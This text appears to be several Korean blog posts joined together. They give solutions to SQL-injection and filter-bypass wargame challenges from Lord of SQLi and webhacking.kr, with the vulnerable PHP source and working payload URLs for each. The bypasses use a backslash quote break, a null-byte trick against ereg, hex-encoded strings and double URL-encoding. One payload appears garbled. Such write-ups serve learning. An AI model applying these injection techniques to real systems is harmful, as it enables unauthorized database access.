<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

$_GET[id], $_GET[pw] 필터
/prob
_
.
()
'

\를 필터로 안막았다. 따라서 ?id=\로 입력하면 쿼터를 망가뜨릴 수 있다.
?id=\&pw=or%201=1%23 하면 id='\'&pw='or%201=1%23' 이런식으로 되고 다음과 같이 쿼리가 완성된다.
query : select id from prob_succubus where id='rap1er\' and pw='or 1=1#'

https://los.eagle-jump.org/succubus_8ab2d195be2e0b10a3b5aa2873d0863f.php?id=rap1er\&pw=or%201=1%23



'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] nightmare :: auto type cast  (0) 2018.09.18
[los] zombie_assassin  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@ereg("'",$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>


$_GET[id], $_GET[pw] 필터

\
prob
_
.
()
싱글쿼터(')

ereg 함수 취약점을 이용해 우회


https://los.eagle-jump.org/zombie_assassin_14dfa83153eb348c4aea012d453e9c8a.php?id=%00%27or%201=1%23


'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] nightmare :: auto type cast  (0) 2018.09.18
[los] succubus  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17

<?


echo("<a href=index_lolll.phps>source</a>");


if(!$_GET[id]) $_GET[id]="guest";

echo("<html><head><title>Challenge 61</title></head><body>");


if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");

if(strlen($_GET[id])>18) exit("Access Denied");


$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));


echo("<b>$q[id]</b><br>");

if($q[id]=="admin") 

    @clear();


echo("</body></html>");


?>



필터문자

(, )

union

select

challenge

from

,

by

.


이러한 값이 전달되면 "Access Denied" 출력

마찬가지로 문자열 길이도 18 이상이면 "Access Denied"


[쿼리]

SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1



어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.


mysql> select 'admin' as no from member order by no;

+-------+

| no    |

+-------+

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

| admin |

+-------+

10 rows in set (0.00 sec)


위 쿼리와 같은 방법으로 하면 해결할 수 있다.

member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.


이 쿼리 방식을 문제에 적용하면 아래와 같다.


SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면

모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다

하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.


challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id 


<html> 
<head> 
<title>Challenge 26</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; }     
a { color:lightgreen; } 
</style> 
</head> 
<body> 

<? 

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } 

$_GET[id]=urldecode($_GET[id]); 

if($_GET[id]=="admin") 
{ 
@solve(26,100); 
} 

?> 
 

<br><br> 
<a href=index.phps>index.phps</a> 
</body> 
</html> 



위 소스코드를 보면 id 파라미터를 $_GET 방식으로 받아 eregi 함수로 패턴을 검사한다. 이때, 전달받은 값이 "admin" 이라면 종료하고


아니면 urldecode 함수로 디코딩한다. eregi 함수를 우회하면 되는데 admin을 인코딩하면 %61%64%6d%69%6e 이다. 


하지만 $_GET 방식이나 $_REQUEST로 서버가 전달받으면 자동으로 디코딩작업을 해준다. 결국 admin을 받아서 필터처리된다.


따라서 %까지 인코딩해서 보내야한다. %2561%2564%256d%2569%256e














'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 18번 SQL 인젝션  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 20번  (0) 2018.08.24
[webhacking.kr] 24번  (0) 2018.08.23
[webhacking.kr] 23번  (0) 2018.08.23

+ Recent posts